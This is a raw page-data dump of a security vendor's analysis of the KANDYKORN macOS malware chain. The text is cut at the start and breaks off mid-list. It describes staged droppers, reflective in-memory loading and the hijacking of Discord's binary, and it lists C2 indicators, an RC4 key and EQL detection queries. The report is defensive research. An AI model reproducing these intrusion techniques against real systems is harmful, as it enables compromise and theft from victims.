\"/Applications/*/Contents/MacOS/*\" and \n file.Ext.original.path : \"/Applications/*/Contents/MacOS/*\" and \n not startswith~(file.Ext.original.path,Effective_process.executable)\n ```\n\nThe following EQL query can be used to identify when an IP address is supplied as an argument to a hidden executable:\n\n```\nsequence by process.entity_id with maxspan=30s\n[process where event.type == \"start\" and event.action == \"exec\" and process.name : \".*\" and process.args regex~ \"[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}\"]\n[network where event.type == \"start\"]\n```\n\nThe following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:\n\n```\nany where \n (\n (event.category : \"file\" and event.action != \"deletion\" and file.Ext.header_bytes : (\"cffaedfe*\", \"cafebabe*\") and \n file.path : \"/Users/Shared/*\" and file.name : \".*\" ) or \n (event.category : \"process\" and event.action == \"exec\" and process.executable : \"/Users/Shared/*\" and \n (process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : \".*\")\n )\n```\n\nThe following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:\n\n```\nsequence by process.entity_id with maxspan=30s\n[process where event.type == \"start\" and event.action == \"exec\" and \n process.args : \"python*\" and process.args : (\"/Users/*\", \"/tmp/*\", \"/var/tmp/*\", \"/private/tmp/*\") and process.args : \"http*\" and \n process.args_count \u0026lt;= 3 and \n not process.name : (\"curl\", \"wget\")]\n[network where event.type == \"start\"]\n```\n\nThe following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of \"NSCreateObjectFileImageFromMemory-*\":\n\n```\nfile where event.type != \"deletion\" and \nfile.name : \"NSCreateObjectFileImageFromMemory-*\"\n```\n\nThe following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the \"NSCreateObjectFileImageFromMemory-*\" file or a load with no dylib name provided:\n\n```\nany where ((event.action == \"load\" and not dll.path : \"?*\") or \n (event.action == \"load\" and dll.name : \"NSCreateObjectFileImageFromMemory*\"))\n```\n\n### YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:\n* [MacOS.Trojan.SUGARLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar)\n* [MacOS.Trojan.HLOADER](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar)\n* [MacOS.Trojan.KANDYKORN](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar)\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ref7001) in both ECS and STIX format. \n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|----------------------------------------------------------------------------------------------------------------------------------|--------------|---------------------|-------------------------|\n| `3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940` | SHA-256 | .log, .sld | SUGARLOADER |\n| `2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1` | SHA-256 | Discord (fake) | HLOADER |\n| `927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6` | SHA-256 | | KANDYKORN |\n| `http://tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC` | url | | FinderTools C2 URL |\n| `tp-globa[.]xyz` | domain-name | | FinderTools C2 domain |\n| `192.119.64[.]43` | ipv4-addr | tp-globa IP address | FinderTools C2 IP |\n| `23.254.226[.]90` | ipv4-addr | | SUGARLOADER C2 IP |\n| `D9F936CE628C3E5D9B3695694D1CDE79E470E938064D98FBF4EF980A5558D1C90C7E650C2362A21B914ABD173ABA5C0E5837C47B89F74C5B23A7294CC1CFD11B` | 64 byte key | RC4 key | SUGARLOADER, KANDYKORN |\n\n## References\n\nThe following were referenced throughout the above research:\n* [The DPRK strikes using a new variant of RUSTBUCKET — Elastic Security Labs](https://www.elastic.co/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket) \n* [https://x.com/tiresearch1/status/1708141542261809360](https://x.com/tiresearch1/status/1708141542261809360) \n* [https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/](https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/) \n* [Looks like a try to steel some data : r/Malware](https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/) \n* [https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/](https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/) \n* [Lazarus Group Goes 'Fileless'](https://objective-see.org/blog/blog_0x51.html)\n* [Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui](https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f)\n* [macOS reflective code loading analysis · hackd](https://hackd.net/posts/macos-reflective-code-loading-analysis/)\n","code":"var Component=(()=\u003e{var h=Object.create;var a=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var f=(n,e)=\u003e()=\u003e(e||n((e={exports:{}}).exports,e),e.exports),y=(n,e)=\u003e{for(var t in e)a(n,t,{get:e[t],enumerable:!0})},c=(n,e,t,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of m(e))!g.call(n,r)\u0026\u0026r!==t\u0026\u0026a(n,r,{get:()=\u003ee[r],enumerable:!(o=p(e,r))||o.enumerable});return n};var w=(n,e,t)=\u003e(t=n!=null?h(u(n)):{},c(e||!n||!n.__esModule?a(t,\"default\",{value:n,enumerable:!0}):t,n)),b=n=\u003ec(a({},\"__esModule\",{value:!0}),n);var d=f((T,s)=\u003e{s.exports=_jsx_runtime});var D={};y(D,{default:()=\u003eA,frontmatter:()=\u003ek});var i=w(d()),k={title:\"Elastic catches DPRK passing out KANDYKORN\",slug:\"elastic-catches-dprk-passing-out-kandykorn\",date:\"2023-11-01\",description:\"Elastic Security Labs exposes an attempt by the DPRK to infect blockchain engineers with novel macOS malware.\",author:[{slug:\"colson-wilhoit\"},{slug:\"ricardo-ungureanu\"},{slug:\"seth-goodwin\"},{slug:\"andrew-pease\"}],image:\"photo-edited-01@2x.jpg\",category:[{slug:\"malware-analysis\"},{slug:\"attack-pattern\"},{slug:\"activity-group\"}],tags:[\"ref7001\",\"KANDYKORN\",\"SUGARLOADER\",\"HLOADER\",\"DPRK\",\"Lazarus Group\",\"Crypto\",\"Financial Motivation\"]};function l(n){let e=Object.assign({h2:\"h2\",p:\"p\",h3:\"h3\",ul:\"ul\",li:\"li\",img:\"img\",a:\"a\",code:\"code\",pre:\"pre\",h4:\"h4\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},n.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.\"}),`\n`,(0,i.jsx)(e.p,{children:\"We discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.\"}),`\n`,(0,i.jsx)(e.p,{children:\"We attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Threat actors lured blockchain engineers with a Python application to gain initial access to the environment\"}),`\n`,(0,i.jsx)(e.li,{children:\"This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques\"}),`\n`,(0,i.jsx)(e.li,{children:\"The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"execution-flow\",children:\"Execution flow\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image31.jpg\",alt:\"REF7001 Execution Flow\",width:\"1440\",height:\"829\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Attackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an \",(0,i.jsx)(e.a,{href:\"https://wundertrading.com/en/crypto-arbitrage-bot\",rel:\"nofollow\",children:\"arbitrage bot\"}),\", a software tool capable of profiting from cryptocurrency rate differences between platforms.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"This execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 0 (Initial Compromise) - \",(0,i.jsx)(e.code,{children:\"Watcher.py\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 1 (Dropper) - \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" and \",(0,i.jsx)(e.code,{children:\"FinderTools\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Stage 2 (Payload) - \",(0,i.jsx)(e.code,{children:\".sld\"}),\" and \",(0,i.jsx)(e.code,{children:\".log\"}),\" - SUGARLOADER\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Stage 3 (Loader)- Discord (fake) - HLOADER\"}),`\n`,(0,i.jsx)(e.li,{children:\"Stage 4 (Payload) - KANDYKORN\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"stage-0-initial-compromise-watcherpy\",children:\"Stage 0 Initial compromise: Watcher.py\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled \",(0,i.jsx)(e.code,{children:\"Cross-Platform Bridges.zip\"}),\". Decompressing it reveals a \",(0,i.jsx)(e.code,{children:\"Main.py\"}),\" script accompanied by a folder named \",(0,i.jsx)(e.code,{children:\"order_book_recorder\"}),\", housing 13 Python scripts.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image21.png\",alt:\"Cross-Platform Bridges.zip folder structure\",width:\"380\",height:\"640\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The victim manually ran the \",(0,i.jsx)(e.code,{children:\"Main.py\"}),\" script via their PyCharm IDE Python interpreter.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Initially, the \",(0,i.jsx)(e.code,{children:\"Main.py\"}),\" script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"While analyzing the modules housed in the \",(0,i.jsx)(e.code,{children:\"order_book_recorder\"}),\" folder, one file -- \",(0,i.jsx)(e.code,{children:\"Watcher.py\"}),\" -- clearly stood out and we will see why.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"Main.py\"}),\" acts as the initial trigger, importing \",(0,i.jsx)(e.code,{children:\"Watcher.py\"}),\" as a module that indirectly executes the script. The Python interpreter runs every top-level statement in \",(0,i.jsx)(e.code,{children:\"Watcher.py\"}),\" sequentially.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The script starts off by establishing local directory paths and subsequently attempts to generate a \",(0,i.jsx)(e.code,{children:\"_log\"}),\" folder at the specified location. If the folder already exists, the script remains passive.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image17.png\",alt:\"Creating a folder within the Python application directory structure and name it _log\",width:\"884\",height:\"308\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The script pre-defines a \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" file path (destined for the just created \",(0,i.jsx)(e.code,{children:\"_log\"}),\" folder) and assigns it to the \",(0,i.jsx)(e.code,{children:\"output\"}),\" variable. The function \",(0,i.jsx)(e.code,{children:\"import_networklib\"}),\" is then defined. Within it, a Google Drive URL is initialized.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Utilizing the Python \",(0,i.jsx)(e.code,{children:\"urllib\"}),\" library, the script fetches content from this URL and stashes it in the \",(0,i.jsx)(e.code,{children:\"s_args\"}),\" variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in \",(0,i.jsx)(e.code,{children:\"s_args\"}),\") is written into the \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" file.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image25.png\",alt:\"Malicious downloader function import_networklib\",width:\"1256\",height:\"600\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image24.png\",alt:\"Connect to Google Drive url and download data saved to a variable s_args\",width:\"1440\",height:\"156\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image1.png\",alt:\"Write data from s_args to testSpeed.py file in newly created _log directory\",width:\"989\",height:\"176\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The next function, \",(0,i.jsx)(e.code,{children:\"get_modules_base_version\"}),\", probes the Python version and invokes the \",(0,i.jsx)(e.code,{children:\"import_networklib\"}),\" function if it detects version 3. This call sets the entire sequence in motion.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image14.png\",alt:\"Check if Python version 3, calls the import_networklib function\",width:\"748\",height:\"210\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"Watcher.py\"}),\" imports \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" as a module, executing the contents of the script.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image7.png\",alt:\"Import testSpeed.py to execute it\",width:\"672\",height:\"148\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Concluding its operation, the malicious script tidies up, deleting the \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" file immediately after its one-time execution.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image8.png\",alt:\"Delete the downloaded testSpeed.py file following its import and execution\",width:\"364\",height:\"150\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image35.png\",alt:\"Watcher.py deletes the testSpeed.py immediately following its execution\",width:\"961\",height:\"184\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"stage-1-droppers-testspeedpy-and-findertools\",children:\"Stage 1 droppers testSpeed.py and FinderTools\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When executed, \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" establishes an outbound network connection and fetches another Python file from a Google Drive URL, named \",(0,i.jsx)(e.code,{children:\"FinderTools\"}),\". This new file is saved to the \",(0,i.jsx)(e.code,{children:\"/Users/Shared/\"}),\" directory, with the method of retrieval mirroring the \",(0,i.jsx)(e.code,{children:\"Watcher.py\"}),\" script.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image9.png\",alt:\"testSpeed.py network connection\",width:\"1440\",height:\"162\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image2.png\",alt:\"_FinderTools file creation _\",width:\"1300\",height:\"182\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"After download, \",(0,i.jsx)(e.code,{children:\"testSpeed.py\"}),\" launches \",(0,i.jsx)(e.code,{children:\"FinderTools\"}),\", providing a URL (\",(0,i.jsx)(e.code,{children:\"tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC\"}),\") as an argument which initiates an outbound network connection.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image3.png\",alt:\"FinderTools execution\",width:\"1440\",height:\"121\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image13.png\",alt:\"FinderTools network connections\",width:\"1440\",height:\"212\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"FinderTools\"}),\" is yet another dropper, downloading and executing a hidden second stage payload \",(0,i.jsx)(e.code,{children:\".sld\"}),\" also written to the \",(0,i.jsx)(e.code,{children:\"/Users/Shared/\"}),\" directory.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image5.png\",alt:\"FinderTools executes .sld\",width:\"1298\",height:\"178\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"stage-2-payload-sld-and-log-sugarloader\",children:\"Stage 2 payload .sld and .log: SUGARLOADER\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Stage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (\",(0,i.jsx)(e.code,{children:\".sld\"}),\" and \",(0,i.jsx)(e.code,{children:\".log\"}),\").\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"SUGARLOADER is first observed at \",(0,i.jsx)(e.code,{children:\"/Users/shared/.sld\"}),\". The second instance of SUGARLOADER, renamed to \",(0,i.jsx)(e.code,{children:\".log\"}),\", is used in the persistence mechanism REF7001 implements with Discord.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"obfuscation\",children:\"Obfuscation\"}),`\n`,(0,i.jsx)(e.p,{children:\"SUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The start function of this binary consists of a jump (\",(0,i.jsx)(e.code,{children:\"JMP\"}),\") to an undefined address. This is common for binary packers.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`HEADER:00000001000042D6 start:\nHEADER:00000001000042D6 jmp 0x10000681E\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Executing the macOS file object tool \",(0,i.jsx)(e.code,{children:\"otool -l ./log\"}),\" lists all the sections that will be loaded at runtime.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Section\n sectname __mod_init_func\n segname lko2\n addr 0x00000001006983f0\n size 0x0000000000000008\n offset 4572144\n align 2^3 (8)\n reloff 0\n nreloc 0\n flags 0x00000009\n reserved1 0\n reserved2 0\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"__mod_init_func\"}),\" contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"A successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Adversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940\",rel:\"nofollow\",children:\"shows 0 detections of this file\"}),\", which suggests these defense evasions continue to be cost-effective.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image11.png\",alt:\"SUGARLOADER VirusTotal Detections\",width:\"1440\",height:\"419\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"execution\",children:\"Execution\"}),`\n`,(0,i.jsx)(e.p,{children:\"The primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"SUGARLOADER checks for the existence of a configuration file at \",(0,i.jsx)(e.code,{children:\"/Library/Caches/com.apple.safari.ck\"}),\". If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the \",(0,i.jsx)(e.code,{children:\".sld\"}),\" binary. In our sample, the C2 address was \",(0,i.jsx)(e.code,{children:\"23.254.226[.]90\"}),\" over TCP port \",(0,i.jsx)(e.code,{children:\"443\"}),\". We provide additional information about the C2 in the Network Infrastructure section below.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image4.png\",alt:\"SUGARLOADER C2 established and configuration file download\",width:\"940\",height:\"184\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image40.png\",alt:\"SUGARLOADER writing configuration file\",width:\"1440\",height:\"182\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The \",(0,i.jsx)(e.code,{children:\"com.apple.safari.ck\"}),\" file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`struct MalwareConfig\n{\n char computerId[8];\n _BYTE gap0[12];\n Url c2_urls[2];\n Hostname c2_ip_address[2];\n _BYTE proxy[200];\n int sleepInterval;\n};\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"computerId\"}),\" is a randomly generated string identifying the victim\\u2019s computer.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"A C2 server can either be identified with a fully qualified URL (\",(0,i.jsx)(e.code,{children:\"c2_urls\"}),\") or with an IP address and port (\",(0,i.jsx)(e.code,{children:\"c2_ip_ddress\"}),\"). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. \",(0,i.jsx)(e.code,{children:\"sleepInterval\"}),\" is the default sleeping interval for the malware between separate actions.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Once the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim\\u2019s computer and the C2 server is detailed in the Network Protocol section.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1620/\",rel:\"nofollow\",children:\"reflective binary loading\"}),\" (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as \",(0,i.jsx)(e.code,{children:\"NSCreateObjectFileImageFromMemory\"}),\" or \",(0,i.jsx)(e.code,{children:\"NSLinkModule\"}),\". Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by \",(0,i.jsx)(e.a,{href:\"https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f\",rel:\"nofollow\",children:\"slyd0g\"}),\" and \",(0,i.jsx)(e.a,{href:\"https://hackd.net/posts/macos-reflective-code-loading-analysis/\",rel:\"nofollow\",children:\"hackd\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"This technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this \",(0,i.jsx)(e.a,{href:\"https://objective-see.org/blog/blog_0x51.html\",rel:\"nofollow\",children:\"has been observed previously\"}),\" in attacks conducted by the Lazarus Group.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"SUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named \",(0,i.jsx)(e.code,{children:\"appname\"}),\" which we refer to as \",(0,i.jsx)(e.code,{children:\"HLOADER\"}),\" which we took directly from the process code signature\\u2019s signing identifier.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image12.png\",alt:\"SUGARLOADER reflective binary load alert\",width:\"1360\",height:\"180\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image36.png\",alt:\"SUGARLOADER creates HLOADER\",width:\"1240\",height:\"182\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image10.png\",alt:\"HLOADER code signature identifier\",width:\"706\",height:\"180\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image34.png\",alt:\"Pseudocode for SUGARLOADER (stage2)\",width:\"696\",height:\"257\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"stage-3-loader-discord-hloader\",children:\"Stage 3 loader Discord: HLOADER\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"HLOADER (\",(0,i.jsx)(e.code,{children:\"2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1\"}),\") is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1\",rel:\"nofollow\",children:\"it has 0 detections on VirusTotal\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image15.png\",alt:\"HLOADER VirusTotal Detections\",width:\"1440\",height:\"212\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"HLOADER was identified through the use of a macOS binary code-signing technique that has been \",(0,i.jsx)(e.a,{href:\"https://objective-see.org/blog/blog_0x73.html\",rel:\"nofollow\",children:\"previously linked\"}),\" to the \",(0,i.jsx)(e.a,{href:\"https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-discovers-new-lazarus-dreamjob-campaign-and-links-it-to-phone-provider-3cx-supply-chai/\",rel:\"nofollow\",children:\"DPRK\\u2019s Lazarus Group 3CX intrusion\"}),\". In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/inital-research-of-jokerspy#the-xcc-binary\",rel:\"nofollow\",children:\"JOKERSPY\"}),\".\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"We observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1574/\",rel:\"nofollow\",children:\"execution flow hijacking\"}),\". The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and \",(0,i.jsx)(e.code,{children:\".log\"}),\" payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The legitimate binary \",(0,i.jsx)(e.code,{children:\"/Applications/Discord.app/Contents/MacOS/Discord\"}),\" was renamed to \",(0,i.jsx)(e.code,{children:\".lock\"}),\", and replaced by \",(0,i.jsx)(e.code,{children:\"HLOADER\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/elastic-catches-dprk-passing-out-kandykorn/image18.png\",alt:\"Discord replaced by HLOADER\",width:\"1440\",height:\"186\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below is the code signature information for \",(0,i.jsx)(e.code,{children:\"HLOADER\"}),\", which has a self-signed identifier structure consistent with other Lazarus Group samples.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Executable=Applications/Discord.app/Contents/MacOS/Discord\nIdentifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320\nFormat=bundle with Mach-O universal (x86_64 arm64)\nCodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[\"When executed, \",(0,i.jsx)(e.code,{children:\"HLOADER\"}),\" performs the following operations:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Renames itself from \",(0,i.jsx)(e.code,{children:\"Discord\"}),\" to 